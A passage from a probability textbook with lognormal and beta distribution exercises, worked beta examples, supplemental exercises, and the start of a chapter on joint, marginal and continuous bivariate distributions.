(a) $P(X < 13{,}300)$
(b) The value for x such that $P(X \le x) = 0.95$
(c) The mean and variance of X

4-139. Suppose that X has a lognormal distribution with parameters $\theta = -2$ and $\omega^2 = 9$. Determine the following:
(a) $P(500 < X < 1000)$
(b) The value for x such that $P(X < x) = 0.1$
(c) The mean and variance of X

4-140. Suppose that X has a lognormal distribution with parameters $\theta = 2$ and $\omega^2 = 4$. Determine the following:
(a) $P(X < 500)$
(b) The conditional probability that $X < 1500$ given that $X > 1000$
(c) What does the difference between the probabilities in parts (a) and (b) imply about lifetimes of lognormal random variables?

4-141. The length of time (in seconds) that a user views a page on a Web site before moving to another page is a lognormal random variable with parameters $\theta = 0.5$ and $\omega^2 = 1$.
(a) What is the probability that a page is viewed for more than 10 seconds?

(b) By what length of time have 50% of the users moved to another page?
(c) What is the mean and standard deviation of the time until a user moves from the page?

4-142. Suppose that X has a lognormal distribution and that the mean and variance of X are 100 and 85,000, respectively. Determine the parameters θ and ω^2 of the lognormal distribution. (*Hint:* define $x = \exp(\theta)$ and $y = \exp(\omega^2)$ and write two equations in terms of x and y.)

4-143. The lifetime of a semiconductor laser has a lognormal distribution, and it is known that the mean and standard deviation of lifetime are 10,000 and 20,000, respectively.
(a) Calculate the parameters of the lognormal distribution.
(b) Determine the probability that a lifetime exceeds 10,000 hours.
(c) Determine the lifetime that is exceeded by 90% of lasers.

4-144. An article in *Health and Population: Perspectives and Issues* (2000, Vol. 23, pp. 28–36) used the lognormal distribution to model blood pressure in humans. The mean systolic blood pressure (SBP) in males age 17 was 120.87 mm Hg. If the coefficient of variation (100% $\times$ standard deviation/mean) is 9%, what are the parameter values of the lognormal distribution?

4-145. Derive the probability density function of a lognormal random variable from the derivative of the cumulative distribution function.

4-146. Suppose X has a lognormal distribution with parameters $\theta = 10$ and $\omega^2 = 16$. Determine the following:
(a) $P(X < 2000)$
(b) $P(X > 1500)$
(c) value exceeded with probability 0.7

4-147. Suppose the length of stay (in hours) at an emergency department is modeled with a lognormal random variable X with $\theta = 1.5$ and $\omega = 0.4$. Determine the following:
(a) mean and variance
(b) $P(X < 8)$
(c) Comment on the difference between the probability $P(X < 0)$ calculated from this lognormal distribution and a normal distribution with the same mean and variance.

4-12 BETA DISTRIBUTION

A continuous distribution that is flexble, but bounded over a finite range, is useful for probability models. The proportion of solar radiation absorbed by a material or the proportion (of the maximum time) required to complete a task in a project are examples of continuous random variables over the interval [0, 1].

The random variable X with probability density function

$$f(x) = \frac{\Gamma(\alpha + \beta)}{\Gamma(\alpha)\,\Gamma(\beta)} x^{\alpha-1}(1 - x)^{\beta-1}, \quad \text{for } x \,\varepsilon\, [0, 1]$$

is a **beta random variable** with parameters $\alpha > 0$ and $\beta > 0$.

The shap parameters α and β allow the probability density function to assume many different shapes. Figure 4-28 provides some examples. If $\alpha = \beta$ the distribution is symmetric about $x = 0.5$, and if $\alpha = \beta = 1$ the beta distribution equals a continuous uniform distribution. The figure illustrates that other parameter choices generate nonsymmetric distributions.

In general, there is a not a closed-form expression for the cumulative distribution function, and probabilities for beta random variables need to be computed numerically. The exercises provide some special cases where the probability density function is more easily handled.

Figure 4-28 Beta probability density functions for selected values of the parameters α and β.

EXAMPLE 4-27

Consider the completion time of a large commercial development. The proportion of the maximum allowed time to complete a task is modeled as a beta random variable with $\alpha = 2.5$ and $\beta = 1$. What is the probability that the proportion of the maximum time exceeds 0.7?

Suppose X denotes the proportion of the maximum time required to complete the task. The probability is

$$\begin{aligned} P(X > 0.7) &= \int_{0.7}^{1} \frac{\Gamma(\alpha + \beta)}{\Gamma(\alpha)\,\Gamma(\beta)} x^{\alpha-1}(1-x)^{\beta-1} \\ &= \int_{0.7}^{1} \frac{\Gamma(3.5)}{\Gamma(2.5)\,\Gamma(1)} x^{1.5} \\ &= \frac{2.5(1.5)(0.5)\sqrt{\pi}}{(1.5)(0.5)\sqrt{\pi}} \frac{1}{2.5} x^{2.5} \Big|_{0.7}^{1} \\ &= 1 - 0.7^{2.5} = 0.59 \end{aligned}$$

If X has a beta distribution with parameters α and β,

$$\mu = E(X) = \frac{\alpha}{\alpha + \beta} \quad \sigma^2 = V(X) = \frac{\alpha\beta}{(\alpha + \beta)^2(\alpha + \beta + 1)}$$

EXAMPLE 4-28

Consider the proportion of time required to complete the task described in the previous example. Calculate the mean and variance of this random variable.

From the expression for the mean and variance,

$$\mu = \frac{2.5}{2.5 + 1} = 0.71 \quad \sigma^2 = \frac{2.5}{3.5^2(4.5)} = 0.045$$

If $\alpha > 1$ and $\beta > 1$, the mode (peak of the density) is in the interior of [0, 1] and equals

$$\text{mode} = \frac{\alpha - 1}{\alpha + \beta - 2}$$

This expression is useful to relate the peak of the density to the parameters. For the distribution used previously for the proportion of time required to complete a task, $\alpha = 2.5$ and $\beta = 1$ and the mode of this distribution is $(2.5 - 1)/(3.5 - 2) = 1$. Also, although a beta random variable X is defined over the interval [0, 1], a random variable W defined over the finite interval $[a, b]$ can be constructed from $W = a + (b - a)X$.

EXERCISES FOR SECTION 4-12

4-148. Suppose X has a beta distribution with parameters $\alpha = 2.5$ and $\beta = 2.5$. Sketch an approximate graph of the probability density function. Is the density symmetric?

4-149. Suppose x has a beta distribution with parameters $\alpha = 2.5$ and $\beta = 1$. Determine the following:
(a) $P(X < 0.25)$ (b) $P(0.25 < X < 0.75)$
(c) mean and variance

4-150. Suppose X has a beta distribution with parameters $\alpha = 1$ and $\beta = 4.2$. Determine the following:
(a) $P(X < 0.25)$ (b) $P(0.5 < X)$
(c) mean and variance

4-151. A European standard value for a low-emission window glazing uses 0.59 as the proportion of solar energy that enters a room. Suppose that the distribution of the proportion of solar energy that enters a room is a beta random variable.
(a) Calculate the mode, mean, and variance of the distribution for $\alpha = 3$ and $\beta = 1.4$.
(b) Calculate the mode, mean, and variance of the distribution for $\alpha = 10$ and $\beta = 6.25$.
(c) Comment on the difference in dispersion in the distributions from the previous parts.

4-152. The length of stay at an emergency department is the sum of the waiting and service times. Let X denote the proportion of time spent waiting and assume a beta distribution with $\alpha = 10$ and $\beta = 1$. Determine the following:
(a) $P(X > 0.9)$
(b) $P(X < 0.5)$
(c) mean and variance

4-153. The maximum time to complete a task in a project is 2.5 days. Suppose that the completion time as a proportion of this maximum is a beta random variable with $\alpha = 2$ and $\beta = 3$. What is the probability that the task requires more than two days to complete?

Supplemental Exercises

4-154. The probability density function of the time it takes a hematology cell counter to complete a test on a blood sample is $f(x) = 0.04$ for $50 < x < 75$ seconds.
(a) What percentage of tests require more than 70 seconds to complete?
(b) What percentage of tests require less than one minute to complete?
(c) Determine the mean and variance of the time to complete a test on a sample.

4-155. The tensile strength of paper is modeled by a normal distribution with a mean of 35 pounds per square inch and a standard deviation of 2 pounds per square inch.
(a) What is the probability that the strength of a sample is less than 40 lb/in^2?
(b) If the specifications require the tensile strength to exceed 30 lb/in^2, what proportion of the samples is scrapped?

4-156. The time it takes a cell to divide (called mitosis) is normally distributed with an average time of one hour and a standard deviation of 5 minutes.
(a) What is the probability that a cell divides in less than 45 minutes?
(b) What is the probability that it takes a cell more than 65 minutes to divide?
(c) By what time have approximately 99% of all cells completed mitosis?

4-157. The length of an injection-molded plastic case that holds magnetic tape is normally distributed with a length of 90.2 millimeters and a standard deviation of 0.1 millimeter.
(a) What is the probability that a part is longer than 90.3 millimeters or shorter than 89.7 millimeters?
(b) What should the process mean be set at to obtain the greatest number of parts between 89.7 and 90.3 millimeters?
(c) If parts that are not between 89.7 and 90.3 millimeters are scrapped, what is the yield for the process mean that you selected in part (b)?

Assume that the process is centered so that the mean is 90 millimeters and the standard deviation is 0.1 millimeter. Suppose that 10 cases are measured, and they are assumed to be independent.
(d) What is the probability that all 10 cases are between 89.7 and 90.3 millimeters?
(e) What is the expected number of the 10 cases that are between 89.7 and 90.3 millimeters?

4-158. The sick-leave time of employees in a firm in a month is normally distributed with a mean of 100 hours and a standard deviation of 20 hours.
(a) What is the probability that the sick-leave time for next month will be between 50 and 80 hours?
(b) How much time should be budgeted for sick leave if the budgeted amount should be exceeded with a probability of only 10%?

4-159. The percentage of people exposed to a bacteria who become ill is 20%. Assume that people are independent. Assume that 1000 people are exposed to the bacteria. Approximate each of the following:
(a) The probability that more than 225 become ill
(b) The probability that between 175 and 225 become ill
(c) The value such that the probability that the number of people who become ill exceeds the value is 0.01

4-160. The time to failure (in hours) for a laser in a cytometry machine is modeled by an exponential distribution with $\lambda = 0.00004$.
(a) What is the probability that the laser will last at least 20,000 hours?
(b) What is the probability that the laser will last at most 30,000 hours?
(c) What is the probability that the laser will last between 20,000 and 30,000 hours?

4-161. When a bus service reduces fares, a particular trip from New York City to Albany, New York, is very popular. A small bus can carry four passengers. The time between calls for tickets is exponentially distributed with a mean of 30 minutes. Assume that each call orders one ticket. What is the probability that the bus is filled in less than three hours from the time of the fare reduction?

4-162. The time between process problems in a manufacturing line is exponentially distributed with a mean of 30 days.
(a) What is the expected time until the fourth problem?
(b) What is the probability that the time until the fourth problem exceeds 120 days?

4-163. The life of a recirculating pump follows a Weibull distribution with parameters $\beta = 2$ and $\delta = 700$ hours.
(a) Determine the mean life of a pump.
(b) Determine the variance of the life of a pump.
(c) What is the probability that a pump will last longer than its mean?

4-164. The size of silver particles in a photographic emulsion is known to have a log normal distribution with a mean of 0.001 mm and a standard deviation of 0.002 mm.
(a) Determine the parameter values for the lognormal distribution.
(b) What is the probability of a particle size greater than 0.005 mm?

4-165. Suppose that $f(x) = 0.5x - 1$ for $2 < x < 4$. Determine the following:
(a) $P(X < 2.5)$
(b) $P(X > 3)$
(c) $P(2.5 < X < 3.5)$
(d) Determine the cumulative distribution function of the random variable.
(e) Determine the mean and variance of the random variable.

4-166. The time between calls is exponentially distributed with a mean time between calls of 10 minutes.
(a) What is the probability that the time until the first call is less than 5 minutes?
(b) What is the probability that the time until the first call is between 5 and 15 minutes?
(c) Determine the length of an interval of time such that the probability of at least one call in the interval is 0.90.
(d) If there has not been a call in 10 minutes, what is the probability that the time until the next call is less than 5 minutes?
(e) What is the probability that there are no calls in the intervals from 10:00 to 10:05, from 11:30 to 11:35, and from 2:00 to 2:05?
(f) What is the probability that the time until the third call is greater than 30 minutes?
(g) What is the mean time until the fifth call?

4-167. The CPU of a personal computer has a lifetime that is exponentially distributed with a mean lifetime of six years. You have owned this CPU for three years.
(a) What is the probability that the CPU fails in the next three years?
(b) Assume that your corporation has owned 10 CPUs for three years, and assume that the CPUs fail independently. What is the probability that at least one fails within the next three years?

4-168. Suppose that X has a lognormal distribution with parameters $\theta = 0$ and $\omega^2 = 4$. Determine the following:
(a) $P(10 < X < 50)$
(b) The value for x such that $P(X < x) = 0.05$
(c) The mean and variance of X

4-169. Suppose that X has a lognormal distribution and that the mean and variance of X are 50 and 4000, respectively. Determine the following:
(a) The parameters θ and ω^2 of the lognormal distribution
(b) The probability that X is less than 150

4-170. Asbestos fibers in a dust sample are identified by an electron microscope after sample preparation. Suppose that the number of fibers is a Poisson random variable and the mean number of fibers per square centimeter of surface dust is 100. A sample of 800 square centimeters of dust is analyzed. Assume a particular grid cell under the microscope represents 1/160,000 of the sample.
(a) What is the probability that at least one fiber is visible in the grid cell?
(b) What is the mean of the number of grid cells that need to be viewed to observe 10 that contain fibers?
(c) What is the standard deviation of the number of grid cells that need to be viewed to observe 10 that contain fibers?

4-171. Without an automated irrigation system, the height of plants two weeks after germination is normally distributed with a mean of 2.5 centimeters and a standard deviation of 0.5 centimeter.
(a) What is the probability that a plant's height is greater than 2.25 centimeters?
(b) What is the probability that a plant's height is between 2.0 and 3.0 centimeters?
(c) What height is exceeded by 90% of the plants?

4-172. Continuation of Exercise 4-171. With an automated irrigation system, a plant grows to a height of 3.5 centimeters two weeks after germination.
(a) What is the probability of obtaining a plant of this height or greater from the distribution of heights in Exercise 4-165.
(b) Do you think the automated irrigation system increases the plant height at two weeks after germination?

4-173. The thickness of a laminated covering for a wood surface is normally distributed with a mean of 5 millimeters and a standard deviation of 0.2 millimeter.
(a) What is the probability that a covering thickness is greater than 5.5 millimeters?
(b) If the specifications require the thickness to be between 4.5 and 5.5 millimeters, what proportion of coverings do not meet specifications?

(c) The covering thickness of 95% of samples is below what value?

4-174. The diameter of the dot produced by a printer is normally distributed with a mean diameter of 0.002 inch. Suppose that the specifications require the dot diameter to be between 0.0014 and 0.0026 inch. If the probability that a dot meets specifications is to be 0.9973, what standard deviation is needed?

4-175. Continuation of Exercise 4-174. Assume that the standard deviation of the size of a dot is 0.0004 inch. If the probability that a dot meets specifications is to be 0.9973, what specifications are needed? Assume that the specifications are to be chosen symmetrically around the mean of 0.002.

4-176. The life of a semiconductor laser at a constant power is normally distributed with a mean of 7000 hours and a standard deviation of 600 hours.

(a) What is the probability that a laser fails before 5800 hours?
(b) What is the life in hours that 90% of the lasers exceed?
(c) What should the mean life equal in order for 99% of the lasers to exceed 10,000 hours before failure?
(d) A product contains three lasers, and the product fails if any of the lasers fails. Assume the lasers fail independently. What should the mean life equal in order for 99% of the products to exceed 10,000 hours before failure?

4-177. Continuation of Exercise 4-176. Rework parts (a) and (b). Assume that the lifetime is an exponential random variable with the same mean.

4-178. Continuation of Exercise 4-176. Rework parts (a) and (b). Assume that the lifetime is a lognormal random variable with the same mean and standard deviation.

4-179. A square inch of carpeting contains 50 carpet fibers. The probability of a damaged fiber is 0.0001. Assume the damaged fibers occur independently.

(a) Approximate the probability of one or more damaged fibers in 1 square yard of carpeting.
(b) Approximate the probability of four or more damaged fibers in 1 square yard of carpeting.

4-180. An airline makes 200 reservations for a flight who holds 185 passengers. The probability that a passenger arrives for the flight is 0.9 and the passengers are assumed to be independent.

(a) Approximate the probability that all the passengers who arrive can be seated.
(b) Approximate the probability that there are empty seats.
(c) Approximate the number of reservations that the airline should make so that the probability that everyone who arrives can be seated is 0.95. [*Hint*: Successively try values for the number of reservations.]

MIND-EXPANDING EXERCISES

4-181. The steps in this exercise lead to the probability density function of an Erlang random variable X with parameters λ and r, $f(x) = \lambda^r x^{r-1} e^{-\lambda x}/(r-1)!$, $x > 0$, and $r = 1, 2, \ldots$.

(a) Use the Poisson distribution to express $P(X > x)$.
(b) Use the result from part (a) to determine the cumulative distribution function of X.
(c) Differentiate the cumulative distribution function in part (b) and simplify to obtain the probability density function of X.

4-182. A bearing assembly contains 10 bearings. The bearing diameters are assumed to be independent and normally distributed with a mean of 1.5 millimeters and a standard deviation of 0.025 millimeter. What is the probability that the maximum diameter bearing in the assembly exceeds 1.6 millimeters?

4-183. Let the random variable X denote a measurement from a manufactured product. Suppose the target value for the measurement is m. For example, X could denote a dimensional length, and the target might be 10 millimeters. The **quality loss** of the process producing the product is defined to be the expected value of $\$k(X - m)^2$, where k is a constant that relates a deviation from target to a loss measured in dollars.

(a) Suppose X is a continuous random variable with $E(X) = m$ and $V(X) = \sigma^2$. What is the quality loss of the process?
(b) Suppose X is a continuous random variable with $E(X) = \mu$ and $V(X) = \sigma^2$. What is the quality loss of the process?

4-184. The lifetime of an electronic amplifier is modeled as an exponential random variable. If 10% of the amplifiers have a mean of 20,000 hours and the remaining amplifiers have a mean of 50,000 hours, what proportion of the amplifiers fail before 60,000 hours?

4-185. **Lack of Memory Property.** Show that for an exponential random variable X, $P(X < t_1 + t_2 \mid X > t_1) = P(X < t_2)$.

4-186. A process is said to be of **six-sigma quality** if the process mean is at least six standard deviations from the nearest specification. Assume a normally distributed measurement.

MIND-EXPANDING EXERCISES

(a) If a process mean is centered between upper and lower specifications at a distance of six standard deviations from each, what is the probability that a product does not meet specifications? Using the result that 0.000001 equals one part per million, express the answer in parts per million.

(b) Because it is difficult to maintain a process mean centered between the specifications, the probability of a product not meeting specifications is often calculated after assuming the process shifts. If the process mean positioned as in part (a) shifts upward by 1.5 standard deviations, what is the probability that a product does not meet specifications? Express the answer in parts per million.

(c) Rework part (a). Assume that the process mean is at a distance of three standard deviations.

(d) Rework part (b). Assume that the process mean is at a distance of three standard deviations and then shifts upward by 1.5 standard deviations.

(e) Compare the results in parts (b) and (d) and comment.

IMPORTANT TERMS AND CONCEPTS

Beta distribution
Chi-squared distribution
Continuity correction
Continuous uniform distribution
Cumulative probability distribution function-continuous random variable
Erlang distribution
Exponential distribution
Gamma distribution
Lack of memory property-continuous random variable
Lognormal distribution
Mean-continuous random variable
Mean-function of a continuous random variable
Normal approximation to binomial and Poisson probabilities
Normal distribution
Probability density function
Probability distribution-continuous random variable
Standard deviation-continuous random variable
Standardizing
Standard normal distribution
Variance-continuous random variable
Weibull distribution

5

iStockphoto

Joint Probability Distributions

Air quality monitoring stations are maintained throughout Maricopa County, Arizona and the Phoenix metropolitan area. Measurements for particulate matter and ozone are measured hourly. Particulate matter (known as PM10) is a measure (in $\mu g/m^3$) of solid and liquid particles in the air with diameters less than 10 micrometers. Ozone is a colorless gas with molecules comprised of three oxygen atoms that make it very reactive. Ozone is formed in a complex reaction from heat, sunlight, and other pollutants, especially volatile organic compounds. The U.S. Environmental Protection Agency sets limits for both PM10 and ozone. For example, the limit for ozone is 0.075 ppm. The probability a day in Phoenix exceeds the limits for PM10 and ozone is important for compliance and remedial actions with the county and city. But this might be more involved that the product of the probabilities for each pollutant separately. It might be that days with high PM10 measurements also tend to have ozone values. That is, the measurements might not be independent and it is the joint relationship between these measurements that becomes important. The study of probability distributions for more than one random variable is the focus of this chapter and the air quality data is just one illustration of the ubiquitous need to study variables jointly.

CHAPTER OUTLINE

5-1 TWO OR MORE RANDOM VARIABLES

- 5-1.1 Joint Probability Distributions
- 5-1.2 Marginal Probability Distributions
- 5-1.3 Conditional Probability Distributions
- 5-1.4 Independence
- 5-1.5 More Than Two Random Variables

5-2 COVARIANCE AND CORRELATION

5-3 COMMON JOINT DISTRIBUTIONS

- 5-3.1 Multinomial Probability Distribution
- 5-3.2 Bivariate Normal Distribution

5-4 LINEAR FUNCTIONS OF RANDOM VARIABLES

5-5 GENERAL FUNCTIONS OF RANDOM VARIABLES

LEARNING OBJECTIVES

After careful study of this chapter you should be able to do the following:

1. **Use joint probability mass functions and joint probability density functions to calculate probabilities**
2. **Calculate marginal and conditional probability distributions from joint probability distributions**
3. **Interpret and calculate covariances and correlations between random variables**
4. **Use the multinomial distribution to determine probabilities**
5. **Understand properties of a bivariate normal distribution and be able to draw contour plots for the probability density function**
6. **Calculate means and variances for linear combinations of random variables and calculate probabilities for linear combinations of normally distributed random variables**
7. **Determine the distribution of a general function of a random variable**

In Chapters 3 and 4 we studied probability distributions for a single random variable. However, it is often useful to have more than one random variable defined in a random experiment. For example, in the classification of transmitted and received signals, each signal can be classified as high, medium, or low quality. We might define the random variable X to be the number of high-quality signals received and the random variable Y to be the number of low-quality signals received. In another example, the continuous random variable X can denote the length of one dimension of an injection-molded part, and the continuous random variable Y might denote the length of another dimension. We might be interested in probabilities that can be expressed in terms of both X and Y. For example, if the specifications for X and Y are (2.95 to 3.05) and (7.60 to 7.80) millimeters, respectively, we might be interested in the probability that a part satisfies both specifications; that is, $P(2.95 < X < 3.05 \text{ and } 7.60 < Y < 7.80)$.

Because the two random variables are measurements from the same part, small disturbances in the injection-molding process, such as pressure and temperature variations, might be more likely to generate values for X and Y in specific regions of two-dimensional space. For example, a small pressure increase might generate parts such that both X and Y are greater than their respective targets, and a small pressure decrease might generate parts such that X and Y are both less than their respective targets. Therefore, based on pressure variations, we expect that the probability of a part with X much greater than its target and Y much less than its target is small.

In general, if X and Y are two random variables, the probability distribution that defines their simultaneous behavior is called a **joint probability distribution.** In this chapter, we investigate some important properties of these joint distributions.

5-1 TWO OR MORE RANDOM VARIABLES

5-1.1 Joint Probability Distributions

For simplicity, we begin by considering random experiments in which only two random variables are studied. In later sections, we generalize the presentation to the joint probability distribution of more than two random variables.

EXAMPLE 5-1 Signal Bars

Calls are made to check the airline schedule at your departure city. You monitor the number of bars of signal strength on your cell phone and the number of times you have to state the name of your departure city before the voice system recognizes the name.

In the first four bits transmitted, let

X denote the number of bars of signal strength on your cell phone

Y denote the number of times you need to state your departure city

Figure 5-1 Joint probability distribution of X and Y in Example 5-1.

	x = number of bars of signal strength		
y = number of times city name is stated	1	2	3
4	0.15	0.1	0.05
3	0.02	0.1	0.05
2	0.02	0.03	0.2
1	0.01	0.02	0.25

By specifying the probability of each of the points in Fig. 5-1, we specify the joint probability distribution of X and Y. Similarly to an individual random variable, we define the range of the random variables (X, Y) to be the set of points (x, y) in two-dimensional space for which the probability that $X = x$ and $Y = y$ is positive.

If X and Y are discrete random variables, the joint probability distribution of X and Y is a description of the set of points (x, y) in the range of (X, Y) along with the probability of each point. The joint probability distribution of two random variables is sometimes referred to as the **bivariate probability distribution** or **bivariate distribution** of the random variables. One way to describe the joint probability distribution of two discrete random variables is through a joint probability mass function. Also, $P(X = x \text{ and } Y = y)$ is usually written as $P(X = x, Y = y)$.

Joint Probability Mass Function

The **joint probability mass function** of the discrete random variables X and Y, denoted as $f_{XY}(x, y)$, satisfies

(1) $f_{XY}(x, y) \geq 0$

(2) $\sum_x \sum_y f_{XY}(x, y) = 1$

(3) $f_{XY}(x, y) = P(X = x, Y = y)$ (5-1)

Just as the probability mass function of a single random variable X is assumed to be zero at all values outside the range of X, so the joint probability mass function of X and Y is assumed to be zero at values for which a probability is not specified.

The joint probability distribution of two continuous random variables X and Y can be specified by providing a method for calculating the probability that X and Y assume a value in any region R of two-dimensional space. Analogous to the probability density function of a single continuous random variable, a **joint probability density function** can be defined over two-dimensional space. The double integral of $f_{XY}(x, y)$ over a region R provides the probability that (X, Y) assumes a value in R. This integral can be interpreted as the volume under the surface $f_{XY}(x, y)$ over the region R.

A joint probability density function for X and Y is shown in Fig. 5-2. The probability that (X, Y) assumes a value in the region R equals the volume of the shaded region in Fig. 5-2. In this manner, a joint probability density function is used to determine probabilities for X and Y.

Figure 5-2 Joint probability density function for random variables X and Y. Probability that (X, Y) is in the region R is determined by the volume of $f_{XY}(x, y)$ over the region R.

Figure 5-3 Joint probability density function for the lengths of different dimensions of an injection-molded part.

Joint Probability Density Function

A **joint probability density function** for the continuous random variables X and Y, denoted as $f_{XY}(x, y)$, satisfies the following properties:

(1) $f_{XY}(x, y) \geq 0$ for all x, y

(2) $\displaystyle\int_{-\infty}^{\infty}\int_{-\infty}^{\infty} f_{XY}(x, y)\, dx\, dy = 1$

(3) For any region R of two-dimensional space,

$$P((X, Y) \in R) = \iint_R f_{XY}(x, y)\, dx\, dy \tag{5-2}$$

Typically, $f_{XY}(x, y)$ is defined over all of two-dimensional space by assuming that $f_{XY}(x, y) = 0$ for all points for which $f_{XY}(x, y)$ is not specified.

At the start of this chapter, the lengths of different dimensions of an injection-molded part were presented as an example of two random variables. Each length might be modeled by a normal distribution. However, because the measurements are from the same part, the random variables are typically not independent. A probability distribution for two normal random variables that are not independent is important in many applications and it is presented later in this chapter. If the specifications for X and Y are 2.95 to 3.05 and 7.60 to 7.80 millimeters, respectively, we might be interested in the probability that a part satisfies both specifications; that is, $P(2.95 < X < 3.05, 7.60 < Y < 7.80)$. Suppose that $f_{XY}(x, y)$ is shown in Fig. 5-3. The required probability is the volume of $f_{XY}(x, y)$ within the specifications. Often a probability such as this must be determined from a numerical integration.

EXAMPLE 5-2 Server Access Time

Let the random variable X denote the time until a computer server connects to your machine (in milliseconds), and let Y denote the time until the server authorizes you as a valid user (in milliseconds). Each of these random variables measures the wait from a common starting time and $X < Y$. Assume that the joint probability density function for X and Y is

$$f_{XY}(x, y) = 6 \times 10^{-6} \exp(-0.001x - 0.002y) \qquad \text{for } x < y$$

Figure 5-4 The joint probability density function of X and Y is nonzero over the shaded region.

Figure 5-5 Region of integration for the probability that $X < 1000$ and $Y < 2000$ is darkly shaded.

Reasonable assumptions can be used to develop such a distribution, but for now, our focus is only on the joint probability density function.

The region with nonzero probability is shaded in Fig. 5-4. The property that this joint probability density function integrates to 1 can be verified by the integral of $f_{XY}(x, y)$ over this region as follows:

$$\int_{-\infty}^{\infty}\int_{-\infty}^{\infty} f_{XY}(x, y)\, dy\, dx = \int_{0}^{\infty}\left(\int_{x}^{\infty} 6 \times 10^{-6} e^{-0.001x-0.002y}\, dy\right) dx$$

$$= 6 \times 10^{-6}\int_{0}^{\infty}\left(\int_{x}^{\infty} e^{-0.002y}\, dy\right) e^{-0.001x}\, dx$$

$$= 6 \times 10^{-6}\int_{0}^{\infty}\left(\frac{e^{-0.002x}}{0.002}\right) e^{-0.001x}\, dx$$

$$= 0.003\left(\int_{0}^{\infty} e^{-0.003x}\, dx\right)$$

$$= 0.003\left(\frac{1}{0.003}\right) = 1$$

The probability that $X < 1000$ and $Y < 2000$ is determined as the integral over the darkly shaded region in Fig. 5-5.

$$P(X \le 1000, Y \le 2000) = \int_{0}^{1000}\int_{x}^{2000} f_{XY}(x, y)\, dy\, dx$$

$$= 6 \times 10^{-6}\int_{0}^{1000}\left(\int_{x}^{2000} e^{-0.002y}\, dy\right) e^{-0.001x}\, dx$$

$$= 6 \times 10^{-6}\int_{0}^{1000}\left(\frac{e^{-0.002x} - e^{-4}}{0.002}\right) e^{-0.001x}\, dx$$

$$= 0.003\int_{0}^{1000} e^{-0.003x} - e^{-4}e^{-0.001x}\, dx$$

$$= 0.003\left[\left(\frac{1 - e^{-3}}{0.003}\right) - e^{-4}\left(\frac{1 - e^{-1}}{0.001}\right)\right]$$

$$= 0.003(316.738 - 11.578) = 0.915$$

Practical Interpretation: A joint probability density function enables probabilities for two (or more) random variables to be calculated as in these examples.

5-1.2 Marginal Probability Distributions

If more than one random variable is defined in a random experiment, it is important to distinguish between the joint probability distribution of X and Y and the probability distribution of each variable individually. The individual probability distribution of a random variable is referred to as its **marginal probability distribution.**

In general, the marginal probability distribution of X can be determined from the joint probability distribution of X and other random variables. For example, consider discrete random variables X and Y. To determine $P(X = x)$, we sum $P(X = x, Y = y)$ over all points in the range of (X, Y) for which $X = x$. Subscripts on the probability mass functions distinguish between the random variables.

	x = number of bars of signal strength			
y = number of times city name is stated	1	2	3	Marginal probability distribution of Y
4	0.15	0.1	0.05	0.3
3	0.02	0.1	0.05	0.17
2	0.02	0.03	0.2	0.25
1	0.01	0.02	0.25	0.28
	0.2	0.25	0.55	
	Marginal probability distribution of X			

Figure 5-6 Marginal probability distributions of X and Y from Fig. 5-1.

EXAMPLE 5-3 Marginal Distribution

The joint probability distribution of X and Y in Fig. 5-1 can be used to find the marginal probability distribution of X. For example,

$$\begin{aligned} f_X(3) = P(X = 3) &= P(X = 3, Y = 1) + P(X = 3, Y = 2) \\ &\quad + P(X = 3, Y = 3) + P(X = 3, Y = 4) \\ &= 0.25 + 0.2 + 0.05 + 0.05 = 0.55 \end{aligned}$$

The marginal probability distribution for X is found by summing the probabilities in each column, whereas the marginal probability distribution for Y is found by summing the probabilities in each row. The results are shown in Fig. 5-6.

For continuous random variables, an analogous approach is used to determine marginal probability distributions. In the continuous case, an integral replaces the sum.

Marginal Probability Density Function

If the joint probability density function of random variables X and Y is $f_{XY}(x, y)$, the **marginal probability density functions** of X and Y are

$$f_X(x) = \int_y f_{XY}(x, y)\, dy \quad \text{and} \quad f_Y(y) = \int_x f_{XY}(x, y)\, dx \tag{5-3}$$

where the first integral is over all points in the range of (X, Y) for which $X = x$ and the second integral is over all points in the range of (X, Y) for which $Y = y$.

A probability for only one random variable, say, for example, $P(a < X < b)$, can be found from the marginal probability distribution of X or from the integral of the joint probability distribution of X and Y as

$$P(a < X < b) = \int_a^b f_X(x)dx = \int_a^b \left[\int_{-\infty}^{\infty} f(x, y)dy \right] dx = \int_a^b \int_{-\infty}^{\infty} f(x, y)dydx$$

EXAMPLE 5-4 Server Access Time

For the random variables that denote times in Example 5-2, calculate the probability that Y exceeds 2000 milliseconds.

This probability is determined as the integral of $f_{XY}(x, y)$ over the darkly shaded region in Fig. 5-7. The region is partitioned into two parts and different limits of integration are determined for each part.

$$\begin{aligned} P(Y > 2000) &= \int_0^{2000} \left(\int_{2000}^{\infty} 6 \times 10^{-6} e^{-0.001x - 0.002y}\, dy \right) dx \\ &\quad + \int_{2000}^{\infty} \left(\int_x^{\infty} 6 \times 10^{-6} e^{-0.001x - 0.002y}\, dy \right) dx \end{aligned}$$

Figure 5-7 Region of integration for the probability that $Y \le 2000$ is darkly shaded and it is partitioned into two regions with $x < 2000$ and $x > 2000$.

The first integral is

$$6 \times 10^{-6} \int_0^{2000} \left(\frac{e^{-0.002y}}{-0.002} \bigg|_{2000}^{\infty} \right) e^{-0.001x}\, dx$$

$$= \frac{6 \times 10^{-6}}{0.002} e^{-4} \int_0^{2000} e^{-0.001x}\, dx$$

$$= \frac{6 \times 10^{-6}}{0.002} e^{-4} \left(\frac{1 - e^{-2}}{0.001} \right)$$

$$= 0.0475$$

The second integral is

$$6 \times 10^{-6} \int_{2000}^{\infty} \left(\frac{e^{-0.002y}}{-0.002} \bigg|_{x}^{\infty} \right) e^{-0.001x}\, dx$$

$$= \frac{6 \times 10^{-6}}{0.002} \int_{2000}^{\infty} e^{-0.003x}\, dx$$

$$= \frac{6 \times 10^{-6}}{0.002} \left(\frac{e^{-6}}{0.003} \right) = 0.0025$$

Therefore,

$$P(Y > 2000) = 0.0475 + 0.0025 = 0.05$$

Alternatively, the probability can be calculated from the marginal probability distribution of Y as follows. For $y > 0$,

$$f_Y(y) = \int_0^y 6 \times 10^{-6} e^{-0.001x - 0.002y}\, dx$$

$$= 6 \times 10^{-6} e^{-0.002y} \int_0^y e^{-0.001x}\, dx$$

$$= 6 \times 10^{-6} e^{-0.002y} \left(\frac{e^{-0.001x}}{-0.001} \bigg|_0^y \right)$$

$$= 6 \times 10^{-6} e^{-0.002y} \left(\frac{1 - e^{-0.001y}}{0.001} \right)$$

$$= 6 \times 10^{-3} e^{-0.002y} (1 - e^{-0.001y}) \quad \text{for } y > 0$$

We have obtained the marginal probability density function of Y. Now,
